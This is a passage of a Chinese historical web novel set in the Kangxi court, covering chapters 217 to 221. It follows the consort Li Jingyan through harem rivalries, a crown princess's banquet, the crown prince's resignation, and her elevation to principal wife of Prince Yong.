年世兰住在芳华院北边的汀兰苑,是一个中等大小的院落,离前院也远些。 李静言特意穿了十二厘米的花盆底,走路便格外艰难。 好在胤禛贴心的给准备了软轿,足不沾地便到了汀兰苑的大门口。 “淑福晋。” 年世兰被关了几日,又接到了自家老父亲的来信,自知不敌淑福晋的势头,只能暗自咬牙低头行礼。 李静言摸着耳边的流苏笑的得意:“年侧,福晋倒是乖觉。” 她把侧字咬的很重,听的年世兰牙根痒痒。 “不知今日淑福晋前来可是有事?本福,侧福晋尚在禁足,怕是招待不周。” 年世兰看着珠光宝气的李静言只觉得眼睛疼,完全不想跟眼前人多说一句话。 可惜李静言并不是个有眼力见的。 “无妨,我可是跟爷说过的,你禁足了,我又没有禁足。” 说着,李静言看了眼身边的小路子和小九,两人把手里的食盒和香炉捧出来,摆在年世兰正殿的条案上。 “你这里的香也太呛人了,咱们女子啊,还是要对自己好一些,少用那些廉价的香料,没得出去叫人说雍亲王府养不起了似的。” 年世兰看着被撤换下来的香炉都要气笑了,她那可是价值百金的佛手香,这淑福晋果然是小家小户出来的,不识物。 可还没等她开口嘲笑,李静言的香炉和那份纯金嵌珐琅的香盒就叫她闭上了嘴。 袅袅白烟升起时,李静言道:“瞧,这可是爷得皇上赏赐的芝馨昌合香,今儿也算叫你长长见识。” 年世兰的嘴唇紧紧抿着,眼睛里快要喷出火来。 得爷的宠爱就这么了不得吗?她这般美貌,不过是一时错了主意,今后定要让这位淑福晋好看! 年世兰不说话,李静言有话说。 上从这汀兰苑的布局花草,下到年世兰的衣着首饰,挨个埋汰了一遍,她才慢悠悠的起身。 “对了,年府送来了帖子,是你大嫂洪氏的,不过咱们府里到底是福晋当家,我就给拒了。你呀,也给家里说说,这帖子,怎么能送错地方呢。” 这话把年世兰所有要报复的想法都按灭在了心里。淑福晋能轻轻松松拒了年府的帖子爷也不拦着,她年世兰算什么呢? 第217 章 李静言20 “这琥珀色的漳缎也别有一番风味,福晋容色盛,穿什么都好看。” 小佟嬷嬷哄着李静言换了衣裳,又搭配了胤禛出门时给挑选的首饰,这才扶着人出了门。 今儿是太子妃举办的小宴,雍亲王府从来出门社交的都是她这位淑福晋,因着有牛痘的发现和八福晋有孕的这份福气,正头的福晋倒是都没什么意见。 混迹在正室与侧室之间还都受到欢迎的,怕也只有雍亲王府这位淑福晋了。 小佟嬷嬷轻松的拿到了今日太子妃小宴上头几位主子的穿衣打扮消息,略过了粉和紫两色,挑选了新制的琥珀色的漳缎。 不过这位主子是孩子心性,最爱那艳丽娇嫩的,所以小佟嬷嬷还要哄着人开心才行。 太子的毓庆宫太小,不具备筹办家宴的资质,太子妃请了佟贵妃的同意后,开了东边的畅音阁,一时间倒是热闹。 “四嫂来了。” 完颜氏来的早些,此时已经转悠了两圈了。 “十四弟妹今日怎么这么早?可见人比花娇这话不夸张,哪里需要像我呀涂脂抹粉的,平白耽误了功夫。” 完颜氏皮肤极好,白里透红不见毛孔一直是李静言十分羡慕的地方。 她下意识的伸手想要捏一捏完颜氏的脸蛋,突然反应过来自己在太子妃的地盘,又悻悻的收了手。 完颜氏噗嗤一笑,旁人的夸赞总是带着几分客气和礼貌,这位四嫂偏不一样,是个极为真诚的人。 饶是她知道自家爷和雍亲王必须的对立的,也架不住四嫂那一个眼神的娇嗔。 她看了眼周围,倒是她们两个来的早了些,便伸头凑近李静言,执起李静言的手放在自己脸颊上。 “四嫂可是想摸摸,好也得了这细嫩的皮?” 李静言笑眯眯的凑上去跟着打趣,却眼神一转看到了迈步进门的八福晋。 她赶紧直起身,收起笑脸做严肃状,却被八福晋爽朗的声音挠了挠耳朵:“好了,做什么这假模假样的,爷们是爷们的事,咱们赁咱们的关系。” 端庄果断都是做给上头那位主子看的,私下里大家很少坚持那没趣儿的架子。 十三弟妹兆佳氏已经到了孕后期,太子妃也不会在这个节骨眼上叫其来参加小宴。 “瞧你们热闹的,怕是不用本宫来招呼了。” 太子妃今日穿了烟霞紫的常服,眼角有些细纹细看眼睛里满是疲惫。 “这可是冤枉咱们了,太子妃不来,大家哪敢造次呢?” 说话的是直亲王继福晋张佳氏,她是总兵官张浩尚的嫡幼女,热情大度,为人处世也颇为圆滑。 “好啊,什么时候你也筹划一场,好叫我省省心力啊大嫂?” 太子和胤禔关系微妙,两人相争多年,从前也只是政见不和,这两年倒有了你死我活的硝烟感。 只是到底是在宫里头,地上的蚂蚁路过都会被碾两脚的地界儿,大家甭管是不是真心,总归是笑脸相迎。 “便是我筹办了,太子妃也是出不来的,这独一份的皇恩啊,咱们可挣不来呢。” 太子妃嘴角的笑意有瞬间的拉直,不过她隐藏的很好,并未被其她人发现。 “大福晋说笑了,皇恩浩荡,岂是相争可以儿戏吗?” 张佳氏挑了挑眉,她身量高,穿着花盆底比太子妃高出小半个头。 “不过是玩笑,嫂子也是口无遮拦,实在该打,太子妃恕罪。” 陪伴胤礽多年,太子妃早就练就了一身气势,她微抬下颚,迈步靠近张佳氏:“本宫如何能治了大嫂的罪,言语有失,向来是魏象枢魏大人的事。” 魏象枢从六科言官入职,官至督察院左督御史兼刑部尚书。为官清廉正直,直言敢谏,直指官场弊端,是个令所有人都头疼的言官。 张浩尚能保证自己为官清廉吗?张佳氏可不敢赌上自家的家产说上这样一句。 “太子妃说的是,是臣妾着相了。” 太子自塞外回来后和皇上之间的关系犹如在太阳下暴晒了多年的绳索,表面裂痕明显,内里更是腐朽不堪。 胤禔争了这么多年,自然有所悟。太子妃的家宴是宣告太子的安稳,张佳氏的挑衅是胤禔试探的步步紧逼。 一场小宴上,把所有人的心眼子掏出来,都能叫整个紫禁城吹上无需自然资源的风扇,转的太快了,。 “大嫂这是心疼太子妃劳累呢,这上上下下,谁不说咱们太子妃贤惠?今儿啊,也是托了太子妃的福,这上好的波尔多葡萄酒,除了太子妃这儿,咱们谁还能尝到呢!” 完颜氏起身打了圆场,张佳氏顺势后退一步,躲过了太子妃的气势。 “是呢,这葡萄酒香醇,我这是还未喝就醉了。” 几句话便把刚才的剑拔弩张拨了过去,太子妃也温和一笑,和旁边的李静言聊起了弘皙和弘时。 “弘皙一直说弘时敦厚,两个人也聊的来,今儿下了课,本宫叫弘皙带弘时去毓庆宫吃点心了,怕是要晚些回府。” “那可是好,正好一会儿叫我家爷带我去街上转转去。” 李静言没心没肺的样子叫大家都想要来聊两句。 “听闻四哥送了四嫂一个温泉庄子?这冬日里再要用菜可是方便了。” 九福晋董鄂氏不经意的提了一句,李静言大方回复:“是有一个,也不光是为着吃菜,主要是冬日里有个去处。总不好日日窝在府里头,老夫老妻的怪没趣儿的。” 不同于李静言的理所当然,太子妃为首的福晋们都红了脸蛋。 “这话,倒是也对。咱们爷哪有四哥那么有情趣的,别说去庄子了,便是在府里也看不到人。” 三福晋董鄂氏感慨了一句,随即看着后头的八福晋笑了笑:“说到这陪伴,咱们八弟妹可是有的说的,八弟从前下职就回府,这段时日我家爷也在酒楼见到八弟了,想来,是给八弟妹带了好东西吧?” 张佳氏眉头微动,用饮酒的动作遮盖住了嘴角的冷笑。 郭络罗氏心里头有些乱,但仍旧气定神闲:“不过是爷们之间愿意走动聊些诗文字帖罢了,论起风流,可比不过三哥。” 三福晋嘴角的笑容僵在那里,脸颊有几分不自然的抽动,三阿哥前几日又带了两个貌美如花的女子入府一事,早就传遍了妯娌间。 李静言一边吃着一边看,表情有明显的目不暇接的兴奋感。 这也是最近大家对胤禛的防备稍弱的缘由,有这么一个情绪外露的侧福晋,基本上就告别暗地里的联盟了黑手了。 “不知四弟妹有没有兴趣听戏?宫里头请了江南莲花楼的戏班子,下个月到。” 太子妃今日的目的只有李静言一人,太子回去后夫妻俩难得的心平气和又坦露算计的谈上过一次。 还是占用了夫妻俩的睡觉时间,因为无论何时都有太子身边都有康熙的太监守着。只有夫妻俩敦伦,那太监才会在外头站着,不过到点就会把太子叫出去,绝不会多待一刻。 太子妃清楚的记得太子眼里的癫狂和生机溃散:“孤这太子怕是坐不久了,即便孤一举一动都在皇阿玛眼皮子底下,但身后日益壮大的势力仍旧为皇阿玛所不容。 今后你可多和老四的淑福晋来往,那是个有福的,说不得,能给咱们带来一线生机。” 太子妃思来想去,找不出这生机的头绪。但总归是,有了盼头。 李静言刚应了太子妃的邀约,一旁的张佳氏端着酒杯问道:“四弟妹可爱骑马?我这庄子上新到了一批宝马,若是得空,可来跑上一圈。” “那敢情好,要去的。” 左手边的郭络罗氏也跟着起哄:“那我这里你也得来,虽然花样少些,但你可不能厚此薄彼了四嫂。” 李静言挨个应了下来,整个人看着傻乎乎的,好骗极了。 胤?的继福晋赫舍里氏笑弯了腰,反正她家爷是个凑数的,左右都轮不到,这种热闹却是不多见。 “四嫂你都应了,能忙的来吗?” 她这话似是有深意,一时间所有人的目光都聚在了李静言身上。 李静言无知无觉道:“有何忙不来,总不能都聚在了一日,那我可劈成十瓣都不够分了。” “那有何难?便叫四哥给你挑一个好了。” 赫舍里氏是典型的看热闹不嫌事大,继续挑唆着。 却见李静言眼睛一亮:“那倒是个好主意。” 几人相对,倒是想知道这位冷面雍亲王的选择。 却不想雍亲王一个也不选,带着妻儿自个儿跑去赏花,留她们各自思量。 第218 章 李静言21 胤禛被康熙派去了苏州,起因是江南乡试,苏州地区仅有十三人被录取,甚至其中五人还是买来的名额,多个扬州盐商子弟榜上有名。 苏州学子愤怒抗议,写下对联讽刺主考官左必蕃与副考官赵晋。 康熙先后派下户部尚书张鹏翮和噶礼,张伯行等在扬州详审。 却因几人分歧颇大导致相互弹劾最终无法为结果定论。 其实这事远没有严重到需要一个亲王亲自去苏州断案,但因淑福晋那一点点小小的举动,导致太子仍旧是太子,而天家父慈子孝的情谊,却已经消磨殆尽。 虽然雍亲王胤禛已然有了独属于自己的势力,但到底是康熙为太子培养的忠臣,调离胤禛,也是康熙制辖太子的开端罢了。 自胤禛离京后,康熙先后处置了刑部尚书齐世武,步军统领托合齐和兵部尚书耿额等人。 直亲王夫妻见状被幻想中的曙光冲昏了头脑,竟大肆摆宴请了兄弟和重臣以大福晋生辰为由,散去白银千两。 太子坐在毓庆宫由康熙亲自挑选的美人榻上冷笑了一声,嘴里呢喃二字‘蠢货’。 身边的小太监是个眼生的,太子也只是习以为常的吩咐:“郡主呢?” “回太子爷的话,郡主今日休沐,此时应在太子妃那里。” 太子放松身子往后一靠,闭着眼睛鼻音稍重:“把郡主带来。” 已经十五岁的完淇有阿玛的聪慧也有额娘的敏锐,她深知毓庆宫的天儿已经变了,和弘皙兄妹俩联手,安抚住了其他弟妹。 “女儿给阿玛请安。” 完淇看着越发消瘦寡言的阿玛眼睛里有些湿热。 但此刻并不是伤春悲秋的时候,胤礽只随意的看了完淇一眼,扔给了完淇一本桌子上的【昭明文选】。 “你书房里那本被弘晋毁了,先看阿玛这本。” 完淇接过并未翻看,只是和胤礽又说了会子话,用完了午膳才离开。 “【昭明文选】?” 完淇前脚离开胤礽的视线,康熙后脚接到太监的传话。 “是,上个月弘晋阿哥在郡主小书房看书时不小心打翻了茶,太子爷本想着早早把这本送给郡主,一直拖到今日才想起来。” 康熙眼睛一闭一睁,想起了这回事。 这毓庆宫的大事小情,有时候比乾清宫的事务汇报的都要详细。 “知道了,你回去吧。” 康熙没把他当回事,却不知完淇拿回去书后翻看了半个时辰,借着太子妃送点心的功夫,传了消息回去。 太子妃站在院子里,看着头顶像井口一般大的天儿心里默念道:“终于熬出来了。” 第二日早朝,胤禛未归。 “儿臣有本启奏。” 太子站在朝堂最靠前的位置,今日难得神采奕奕。 康熙看了太子一眼,不知道在想什么。 “儿臣自弱冠监国,至今已数十载。承蒙皇阿玛垂爱,委以社稷重任,儿臣夙兴夜寐,未尝敢有丝毫懈怠。 然近来心力交瘁,屡觉力不从心。政务纷繁,儿臣虽竭尽所能,却仍有诸多疏漏,未能达到皇阿玛期许。加之朝局暗涌,各方势力纠葛,儿臣深感才疏学浅,恐因一己之失,误国误民。 皇阿玛圣明神武,治国有方,儿臣与之相比,实如萤火比之皓月。 为免贻误江山社稷,恳请皇阿玛收回成命,另择贤能储君。儿臣愿退居藩邸,潜心修学,常伴青灯古卷,再不涉朝堂纷争。望皇阿玛体谅儿臣一片赤诚之心,成全儿臣之愿 。儿臣叩首,万望恩准!” 朝堂上安静的连呼吸声都听不到,本有些混沌的大臣此刻耳清目明,即便是最严苛的言官御史魏象枢,现下也有些找不回自己的声音。 自不满两岁便被立为太子,如今在位超三十余载,虽这些年皇上有意压制太子的权柄,但没人想过太子会请辞。 康熙看着胤礽的目光悠远犀利,虽然有废太子的心,但太子请辞,无疑是全了父子二人的体面。 康熙缓缓起身,抬手示意太子平身,目光深邃望向远处。 “罢了……朕知你心意已决。自册立储君以来,你伴驾三十余载,晨昏定省、监国理政,于社稷并非无功。 然储位之重,如临深渊、如履薄冰,既生退意,强留反为祸事。 朕准你所奏,即刻免去太子印玺,册封二阿哥胤礽为理亲王,往后远离朝堂,潜心礼佛读书,勿再卷入纷争。” 太子回归儿子,康熙久违的慈父之情又再次升起。 看着身形消瘦面色沧桑的胤礽,康熙的眼睛在朝堂上扫视了一圈。 压抑不住兴奋的胤禔,不知所措的胤祉胤祺和胤祐,目露担忧的胤祥和跃跃欲试的胤禩胤禵。 他闭着嘴冷哼一声,难得有了种高个子堆里挑不出个继承人的荒谬感。 “朕记得西黄城根的礼亲王府还空着,礼部和内务府一起派人修缮打扫,作为理亲王的住处。” 众人掩去眼底复杂的思绪,单单这亲王府,便是所有皇子加起来都不及的。 原礼亲王府是八大铁帽子王之一的,曾祖努尔哈赤次子代善的府邸。 代善死后,其嫡孙杰书袭封后另择址新建王府,改称康亲王府。 礼亲王府这宅子,便空了出来。 不过论位置,论大小,论规格,这理亲王府可要高出其他皇子一大截。 要有自己的大房子住了,胤礽笑的真情实意。 父子俩到底还没明面上闹掰,此刻恢复到普通父子关系后,倒越发显得上蹿下跳的其他阿哥像个小丑。 不等直亲王等人发力,康熙一道圣旨把前几个月和太子剑拔弩张时格外跳脱的胤禔胤禩胤禵三人挨个骂了一遍。 单是责骂还不至于叫他们愤愤不平,有了胤禛这个即使被外派也不打一点磕绊的儿子做对比,这三人明显对于胤礽的落井下石在这个时候就格外的戳康熙的心尖了。 直亲王被降为直郡王,八贝勒降为八贝子,恂郡王降为恂贝勒。 被掩埋的父爱再次升腾,记仇是皇帝最不值一提的小毛病。曾经自己对于胤礽多有打击,但他自问是对于胤礽的磨练。至于其他儿子,那就是对储君不敬对兄弟不友。 理亲王府修缮时,胤礽仍旧住在毓庆宫。 “淑福晋的对牌?” 这是胤礽请辞后见到的第一个客人。 虽然康熙表达了如火山喷发般的父爱,但前太子身后牵连的势力甚广,就算被训斥了,胤禩几人也在暗戳戳的吸纳这些人手,哪里有空来看胤礽呢。 “正好爷研究了一对流星锤,弘皙说要送给弘时。” 太子被允了七日的小假,康熙也收回了不少毓庆宫的人手,现在过的无比的自在。 “二嫂,今儿有玫瑰糕吗?” 李静言才不管瓜尔佳氏是不是太子妃,只要有玫瑰糕就行。 她刚进门,就看到笑盈盈的理亲王也在门口站着。 “给理亲王请安。” 胤礽看着李静言和弘时两人同样不含阴霾杂质的眼睛,觉得有意思极了。 “起来吧,老四还没回来,你怎么就来了?” 李静言不客气的拉着弘时往里走,对于胤礽的话带了十二万分的不解:“跟四爷有什么关系,你四弟妹我啊,是专门来找二嫂蹭吃的。” 胤礽从前受教于康熙,从来都只有一个理念:他是太子,其余的兄弟都是他的臣子。所以对于兄弟对于这些福晋,胤礽一向是不看在眼里的。 如今心境不同,自然看事务的角度也不同。 他觉得与其和满身心眼子满脑子你死我活的兄弟们相处,这样简单直白的人更有趣。 “可是本王如今刚请辞,你的二嫂也从太子妃变成了亲王妃,你难道不应该持礼来安慰吗?怎么反倒来我这毓庆宫蹭吃蹭喝的。” 瓜尔佳氏轻轻拍了胤礽一下,这人,明知道这位淑福晋是个简单的,还要欺负人家。 李静言摊了摊手:“四弟妹我这里可是没什么好东西,等我家爷回来了,定给理亲王补上。今日嘛,我作为四弟妹来找二嫂,跟太子妃还是理亲王妃的,都没关系。” 胤礽:谁说淑福晋不聪明的,这耍赖不是挺有一手嘛! 第219 章 李静言22 康熙看了一眼底下的梁九功:“怎么?老四福晋又去毓庆宫蹭吃蹭喝了?” 梁九功嘿嘿一笑:“是弘时阿哥带了鞭子来找弘皙阿哥玩呢。” 胤禛在苏州接到太子变理亲王的消息时心里有种尘埃落定的感觉。虽然权力交接还算平稳,但想到自个儿府里的情况,即便留了戴铎在府,屁股也是坐不住的。 苏州这事缘由简单,不过是副主考赵晋与同考官受贿,取中舞弊考生。赵晋等人被处斩立决,舞弊考生处绞监候,主考官左必蕃被革职。 至于先前主张从轻发落的噶礼和张伯行二人,均被革职查办。 本七八日能处理好的案子,胤禛知道皇上的用意,愣是在苏州拖了半个月,等到京城的消息传来,才快刀斩乱麻的解决了这烂摊子。 回京后第一件事去宫里给康熙述职,然后去永和宫门口给乌雅嫔磕头请安。 第二件事,便是带着李静言和弘时到毓庆宫看他的二哥胤礽。 瞧着比他还要熟门熟路的李静言,胤禛不由得问道:“你这是日日都来?” 李静言想了想:“也没有日日。” 也就是嘴馋了过来坐坐吧,没有那么频繁。 胤禛的眼神飘向一旁的小佟嬷嬷,小佟嬷嬷扭过头,选择不和胤禛对视。 胤禛了悟,怪不得刚才在乾清宫时,皇阿玛看他的眼神那样奇怪。 不过也算正常,他这个福晋一向对旁人的情绪感知并不敏感。怕是在她心里,二嫂从太子妃这个名头挣脱出来,更方便她名正言顺的讨吃的了。 “二哥这府上也快收拾出来了,等改明儿开府时,老四早早过来帮着二哥迎客。” 胤礽挣脱了枷锁,整个人活力十足。和一旁日夜兼程赶路回来顾不得休息的四弟形成了鲜明的对比。 “何须二哥提醒?弟弟定是第一个到的。” 胤礽笑了起来:“那可未必,十三也是如此说的。” 不知道为什么,胤礽和胤祥突然冒出来一股难兄难弟才能纠缠出的惺惺相惜之情。两人各自分析后,把嫌弃的目光定在了小十八胤祄的头上。 不过到底是个没什么影响力的弟弟,胤礽还不至于为了一个莫须有的猜测动什么手脚。 弘皙带着弘时去找弘晋玩了,瓜尔佳氏也拉着李静言在凉亭里坐下。 “怕是后面几日我就看不到你了。今儿这玫瑰糕,管够。” 迎着瓜尔佳氏打趣的眼神,李静言毫不脸红:“若是二嫂想我了,送个信儿就是。爷办差的时候,我还是得空的。” 正说着,门口的小太监尖利的大喊一声:“皇上驾到。” 瓜尔佳氏下意识拉着李静言起身往外头走,又利索的把帕子塞进李静言手里:“擦擦嘴。” 说着,她先一步挡在李静言身前,跟胤礽并排同时行礼请安。 李静言像个小木偶一般,被瓜尔佳氏拉起来又交给了胤禛手里,一旁脚步利索的小佟嬷嬷手脚麻利的在这一小段距离里,给李静言整理了衣裳擦干净了嘴角。 胤禛拉着人行礼时,李静言只是下意识的跟着身边人的动作而动作。 康熙进来,看到两个儿子两个儿媳和谐共处一室,嘴角不自觉的带了笑容。 “都起来吧。” 他也是好奇的很,这毓庆宫的玫瑰糕到底有多好吃。 “皇阿玛可是忙完了?” 胤礽恢复了自己曾经的地位,和康熙的相处更加自然。 他扶着康熙到他们小聚的院子里坐下,小小的院子还飘着玫瑰香甜的气味。 “都好了,朕来看看你。” 父子俩黏糊的叫李静言叹为观止。 她就那么愣愣的盯着两人,敏锐的父子俩自然感受的到。 “淑福晋这是看什么?” 看在李静言是第一个看望胤礽的人,又是有牛痘加功于身,康熙对李静言多了两分耐心。 “回皇上的话,妾身只是觉得皇上和二哥感情真黏糊。” “咳咳!” 胤禛被李静言的话呛的不停咳嗽,仪态全无。 “哈哈哈哈。” 康熙倒是听的欢喜,胤礽在他心里的地位,是不同的。 看着手忙脚乱给老四拍背的儿媳妇,康熙忽然想起,这好像是个侧福晋。 他看了一眼梁九功,梁九功会意的离开。 “老四啊,你这老大不小了,太不体面了。” 胤禛尴尬的扯了扯嘴角,对于皇上的打趣有些接受无能。难道接受皇阿玛和二哥粘糊这个句式就很体面吗? 没人搭理胤禛的尴尬,康熙把眼神放在李静言身上,颇有些压迫感的气势叫一旁的胤礽和瓜尔佳氏都有些不安。 只有李静言无知无觉叫康熙有些稀奇,他倒是要看看,这人是天然单纯还是心思深沉。 不过,想起自己打探的李家九族,觉得心思深沉这个可能大概得等到李泽文这个最小的孩子长大才有可能实现。 “太子请辞后倒见你来的勤了些,可是太子妃先前做了什么?” 瓜尔佳氏知道皇上并非要问责自己的意思,但四弟妹单纯,她多少有些担忧。 只是 ,这担忧也不过一须臾的事,李静言开口就打破了康熙刻意营造的气氛。 “倒也不是,那时候二哥总是板着脸,瞧着不好相处,妾身不敢来。” 康熙没想到是这么质朴的理由,一时间有些忘了刚才的自己想要干什么了。 胤礽哪里想到看戏看到了自己头上,他凑近瓜尔佳氏耳边小声问道:“爷以前总板着脸吗?” 他怎么记得,总板着脸的,是老四呢?这四弟妹怕不是记错了吧? 瓜尔佳氏想了想,表情难得有些迷茫。 其实大婚后和胤礽相处的时间并不多,除了刚成婚时有几日的温情,其余时间要想见太子一面可太难了。 皇上的人手就那么盯着二人,再好的感情也被很快就磨没了。 更何况,还是没什么感情的他们呢。 “应当,应当是吧?” 胤礽也想到自己和福晋以前并不算熟悉,安抚的拍了拍瓜尔佳氏的肩膀。 现场只有胤禛神清气爽的坐着,若说对皇阿玛有敬畏是不错,但皇阿玛也不会没事就要砍人脑袋,静言虽不聪明,但着实讨人喜欢。 康熙回过神,下意识捻了一块玫瑰糕放在嘴里。 好吃是好吃,但是甜也是真的甜。 他有些嫌弃的端起茶喝了一口,压下了满嘴甜腻的味道。 “你和胤禛成婚许久,便也称呼朕一声皇阿玛吧。” 康熙温和起来其实是有些惊悚的,单感受胤禛猛地攥起的拳头就知道。 “皇阿玛!” 然而现场有人是单纯的白兔。 “好,既然你叫朕一声皇阿玛,那皇阿玛这里也有些问题想要问你。听老四说,你是个聪明的。” 李静言压制不住的嘴角翘的老高,胤礽和瓜尔佳氏有些不忍直视。 “皇阿玛问就是了。” 康熙轻轻一笑,嘴角虽然是扬着的,但眼神里的犀利叫胤禛替自家福晋捏了一把汗。 “国不可一日无储君,老四家的,你觉得老四,可当的了这储君之位啊?” 康熙的话音刚落,胤礽带头就跪了下去。 被胤禛拉着跪在地上的李静言扬着脸,全是茫然。 “国,国不可一日无储君吗?不是国不可一日无君吗?” 胤禛闭了闭眼,在想自己埋在哪风水好些了。 “这话自是谁人说便是如此。” 李静言点了点头,瞧着是被说服了。 “谁当储君?我家爷吗?不行啊。” 康熙眼神闪烁,看着李静言温和的问道:“有何不行呢?” 他的表情慈爱,仿佛是一个真正的家长在问自家孩子的意见。 李静言不懂胤禛和小佟嬷嬷为何拽她的衣裳,只是按照自己的心思回答:“若四爷是储君,那今后会是皇上对吗?” 她这个时候觉得有些害怕了,小心翼翼的偷瞄了一眼上头的康熙,像一个没胆子的怂包。 康熙的语气听不出生不生气,只是轻轻回答道:“自然是。” 李静言似是被康熙的温和加回了自己那点胆子,她慢慢挺直了刚才有些塌的腰板:“那,那儿臣府里就弘时一个儿子,弘时读书不行,当不了太子啊。” 康熙蓦的笑了起来:“哈哈哈,老四还会有其他孩子,总会有聪明的。” 李静言掰了掰手指头:“可是皇阿玛您身体健康,瞧着比我家爷还要强壮些。我家爷的岁数也不小了,就算再有聪明的儿子,他都很老了。” 胤禛这个时候觉得自己的命是回来了,但是一股邪火直冲脑门,牙根都痒痒。 “你说的也是实话,倒是朕思虑不周了。” 康熙带着同情看了一眼脸色红彤彤的老四,这个可怜的儿子,就算有登基的胜算也被他这个口无遮拦的福晋弄的道路坚阻了。 胤礽和瓜尔佳氏对视一眼,原来皇阿玛的猜疑需要这样一个人来打破啊!是他们这些聪明人做不到的范畴了。 第220 章 李静言23 虽然李静言直白的话叫胤禛多少有些见不得人,但也正是这般误打误撞的耿直打消了康熙对胤禛刚刚提起的戒备。 老年人对权力有变态般的掌控,折腾废了太子,打压了老大老八和十四后,面对拥有一个天生好运福晋的老四,就更容易多思。 胤禛在回京的路上还和幕僚邬思道商议是不是应该归隐田园做个闲散富家翁来打消集中在身上的注意力。 没想到串个门的功夫,名声没了,猜忌也没了。 回府的路上,胤禛一脸复杂的看着李静言好半晌没有说话。 李静言完全get不到胤禛的复杂,只自顾自的把玩着手里的镯子。 这是二福晋送的,绞丝金圈嵌南珠手镯。款式简洁大方,独有一种温婉包容的美感。 马车刚刚停稳,只见高无庸面色焦急但步伐不显凌乱的快步上前。 “王爷,淑福晋,福晋突发疾病,去了。” 胤禛甩了一下手里的珠串,拉着李静言往府里走。 “怎么这么突然?前几日福晋还挣扎着叫妾身去请了安。” 池烟自然看得出来宜修油尽灯枯之态,但李静言看不懂。 胤禛拉了拉李静言的手:“福晋的身子一向不好。缠绵病榻许久,太医看了也无法。” 其实他心里清楚,这不过是皇阿玛出手了而已。 宜修敢对他的子嗣下手,这条命注定就留不得了。 只是胤禛心里还是有些复杂的。他答应了柔则要照顾好宜修,却没想到宜修的性子已经偏执到扭曲。 对这雍亲王府的孩子动手不成,便直接了结了乌拉那拉福晋觉罗氏。 其出手之果决叫他一个大男人都心惊。 与柔则,与宜修,与乌拉那拉姐妹的爱也好恨也罢,从今日起尘归尘土归土。 同宜院挂了白,宜修被收拾干净,穿着四福晋的朝服安安静静的躺在那里。 因着秘药侵蚀身体,就算日日进补也无济于事。 清瘦更显老态,算起来也有日子未见了,胤禛猛然间看到这样的宜修还有些恍惚。 “福晋可有留下什么话?” 李静言已经下去主持大局,顺便换一身素净的衣裳。 胤禛坐在那里眼前不断交叠出现柔则刚入府探望时的场景。 这么多年过去,胤禛仿佛第一次看见那时候的宜修的脸色,难堪,无助甚至带了恨意。 记忆中的自己还在兴奋的说着对姨姐的一见钟情,还未给他时间品味姐妹二人间的氛围,就听下人道:“福晋想要挨着弘晖阿哥。” 胤禛点了点头,没有再说话。 宜修的事情告一段落后,坊间不知何时有奇怪的流言。 理亲王手腕像皇上; 直郡王勇猛像皇上; 诚亲王文采像皇上; 而雍亲王胤禛,克妻最像皇上。 这流言没头没尾,偏偏四个皇子夸了三个,只有胤禛受伤的世界又达成。 转头一查,没什么意外的揪出了九贝子胤禟。 这个记恨胤禛剪了他辫子的男人,是个无时无刻不想着给他添堵的。 不过克妻一言不仅难听,还涉及到了皇上,就连理亲王胤礽都黑了脸。本就因着经商不被待见,这下更是连贝子的爵位都丢了,成了光头阿哥。 李静言为此还专门下了帖子约兆佳氏出来踏青,说了大半天胤禟的坏话,看的出来私仇很大了。 兆佳氏哭笑不得,一边是手帕交,一边去自家爷,她也算是两头糊弄,哪个都没得罪。 虽然这事确实是自家爷办的不地道,但也未必没有功劳。 雍亲王克妻的名声传出去,哪个大户人家还敢把闺女嫁过去呢? 满军旗得皇上钦赐封号的淑福晋,上位不是理所应当吗? 反正雍亲王已经扶正了一个侧福晋,还是个庶女。没道理她的手帕交,满军正白旗从二品礼部左侍郎的女儿不可以啊! 虽然兆佳氏觉得自己的分析有理有据,但看着义愤填膺的李静言还是没有开口。 反正只是骂两句,爷也不会掉块肉,但若是这个时候没有顺着静言往下说,那今晚怕是回不去了。 兆佳氏的附和叫李静言的怒气稍歇,只不过今儿选的地方不巧,是富察氏的格格约姐妹赏花之地。无意间叫胤禛洗白了名声不说,胤禟也算是自作自受,回旋镖扎回到了自个儿身上。 至于是不是无意,就连受害者胤禟都没有把李静言往刻意的加害者方面去想,毕竟康熙认定的毫无心机的人,能有什么坏心眼子呢? 至于胤禩,虽然争夺仍旧在继续,但因为期盼已久的嫡子的到来,胤禩收起了那些上不得台面的算计。 雍亲王四子改变命运,并非是圆明园宫女李金桂之子,而是年侧福晋年世兰的儿子,弘旵。 康熙也知道自家老四现在的名声已经这样了,干脆的在胤禛请封淑福晋为嫡福晋的折子上批了准。 虽然宫里的乌雅嫔并不乐意,但自从知道宠爱多年的小妾帮着外人残害自己儿子子嗣时,康熙就再也没召见过她一次。 所以万般手段无处可用,乌雅嫔也只得认命期待来日。 她把全部的希望寄托在恂贝勒胤禵身上,却对前朝如今的情形一知半解。她不停的命令胤禛相助弟弟,却适得其反。 大儿子对她只有恭敬的面子情,小儿子并不想接受老四的帮助觉得额娘瞧不上他的本事也置了气。乌雅嫔觉得不应该是这样子的,可应当如何,她也想象不出来。 李静言被册封为雍亲王福晋后,康熙为了奖励李静言多年管理雍亲王府有功,大手一挥又指了几个格格进府。 其中都是李静言的熟人,曹琴默,费云烟,冯若昭和徐佳娉婷。 格格们虽然入府,但胤禛为了补给李静言一个大婚之礼,便先由着小佟嬷嬷把几人安置在了后院里,至于什么时候得宠,那得等雍亲王和福晋大婚后再说了。 李昌源为了给自家亲王福晋闺女补齐嫁妆,愣是把族里老小能用上的银钱都用了上。 李静言虽然不纠结形式,但该有的,也绝不会拒绝就是了。 不知是不是身份的转变,胤禛在老夫老妻的新婚假期里格外的能折腾。 “爷哪里老了?” 迷迷糊糊中,李静言被这样一个问句打通了任督二脉。 好小心眼的男人啊,这都是多久之前的事了,居然记仇到现在! (胤禟在史料中没有明确记载有关侧福晋的消息,不过妾室记载很多,兆佳氏是其中之一。老规矩,我认为兆佳氏是侧福晋。) 第221 章 李静言24 “福晋,这是府里所有的账本和钥匙,您看,是不是要见一见府里的下人?” 虽然雍亲王府外头的进项一直都是李静言管着,但到底曾经是侧福晋,府里头的一应事务大部分还在小佟嬷嬷手上。 如今婚假已过,府里的男主子老老实实上朝去了,李静言梳妆得当后,小佟嬷嬷便把府里所有的事务都交了上来。 “见一见吧,正巧爷说下了值陪着一起见一见各位妹妹,不着急。” 胤禛不放心李静言自个儿面对妾室,不是担心她被欺负,只是担心有人伶牙俐齿的忽悠着福晋得了好处。被骗去了钱财不怕,就怕这没心没肺的把自己也舍出去。 